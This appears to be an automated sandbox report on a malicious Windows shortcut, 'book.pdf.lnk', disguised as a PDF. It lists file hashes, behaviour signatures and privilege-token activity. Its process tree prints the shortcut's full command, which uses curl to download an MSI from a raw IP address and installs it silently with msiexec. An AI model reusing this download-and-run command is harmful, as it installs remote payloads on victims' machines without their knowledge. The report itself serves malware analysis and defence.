Resubmissions
24-08-2023 17:35
230824-v568qafh4y 323-08-2023 19:18
230823-xz2gdsfa82 323-08-2023 19:16
230823-xy925sfa76 321-08-2023 09:54
230821-lw62xscb47 1021-08-2023 00:59
230821-bb4qysaa78 10Analysis
-
max time kernel
117s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
23-08-2023 19:18
Static task
static1
Behavioral task
behavioral1
Sample
book.pdf.lnk
Resource
win7-20230712-en
windows7-x64
4 signatures
120 seconds
Behavioral task
behavioral2
Sample
book.pdf.lnk
Resource
win10v2004-20230703-en
windows10-2004-x64
3 signatures
120 seconds
General
-
Target
book.pdf.lnk
-
Size
1KB
-
MD5
0185e0fc2f505312001e1a65e6783908
-
SHA1
8e4cf0397ba32d233a515a5aca02751f6f9344c6
-
SHA256
8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d
-
SHA512
1a484bb08401fd7476d37029fa753aa82af10aa702f30fa30568ff7eaf94b484e604bbff9f6b5a67179a7d708cf61bb767fa974e0a9f35e751d74d9a2dd4fefc
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
msiexec.exepid process 2992 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 2992 msiexec.exe Token: SeIncreaseQuotaPrivilege 2992 msiexec.exe Token: SeRestorePrivilege 2580 msiexec.exe Token: SeTakeOwnershipPrivilege 2580 msiexec.exe Token: SeSecurityPrivilege 2580 msiexec.exe Token: SeCreateTokenPrivilege 2992 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2992 msiexec.exe Token: SeLockMemoryPrivilege 2992 msiexec.exe Token: SeIncreaseQuotaPrivilege 2992 msiexec.exe Token: SeMachineAccountPrivilege 2992 msiexec.exe Token: SeTcbPrivilege 2992 msiexec.exe Token: SeSecurityPrivilege 2992 msiexec.exe Token: SeTakeOwnershipPrivilege 2992 msiexec.exe Token: SeLoadDriverPrivilege 2992 msiexec.exe Token: SeSystemProfilePrivilege 2992 msiexec.exe Token: SeSystemtimePrivilege 2992 msiexec.exe Token: SeProfSingleProcessPrivilege 2992 msiexec.exe Token: SeIncBasePriorityPrivilege 2992 msiexec.exe Token: SeCreatePagefilePrivilege 2992 msiexec.exe Token: SeCreatePermanentPrivilege 2992 msiexec.exe Token: SeBackupPrivilege 2992 msiexec.exe Token: SeRestorePrivilege 2992 msiexec.exe Token: SeShutdownPrivilege 2992 msiexec.exe Token: SeDebugPrivilege 2992 msiexec.exe Token: SeAuditPrivilege 2992 msiexec.exe Token: SeSystemEnvironmentPrivilege 2992 msiexec.exe Token: SeChangeNotifyPrivilege 2992 msiexec.exe Token: SeRemoteShutdownPrivilege 2992 msiexec.exe Token: SeUndockPrivilege 2992 msiexec.exe Token: SeSyncAgentPrivilege 2992 msiexec.exe Token: SeEnableDelegationPrivilege 2992 msiexec.exe Token: SeManageVolumePrivilege 2992 msiexec.exe Token: SeImpersonatePrivilege 2992 msiexec.exe Token: SeCreateGlobalPrivilege 2992 msiexec.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2364 wrote to memory of 2656 2364 cmd.exe cmd.exe PID 2364 wrote to memory of 2656 2364 cmd.exe cmd.exe PID 2364 wrote to memory of 2656 2364 cmd.exe cmd.exe PID 2656 wrote to memory of 2992 2656 cmd.exe msiexec.exe PID 2656 wrote to memory of 2992 2656 cmd.exe msiexec.exe PID 2656 wrote to memory of 2992 2656 cmd.exe msiexec.exe PID 2656 wrote to memory of 2992 2656 cmd.exe msiexec.exe PID 2656 wrote to memory of 2992 2656 cmd.exe msiexec.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\book.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo %cd% > C:\Users\Admin\AppData\Local\Temp\ruta.txt & echo eGz & echo zv & echo GMp & echo RC & curl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu & msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msiexec.exemsiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken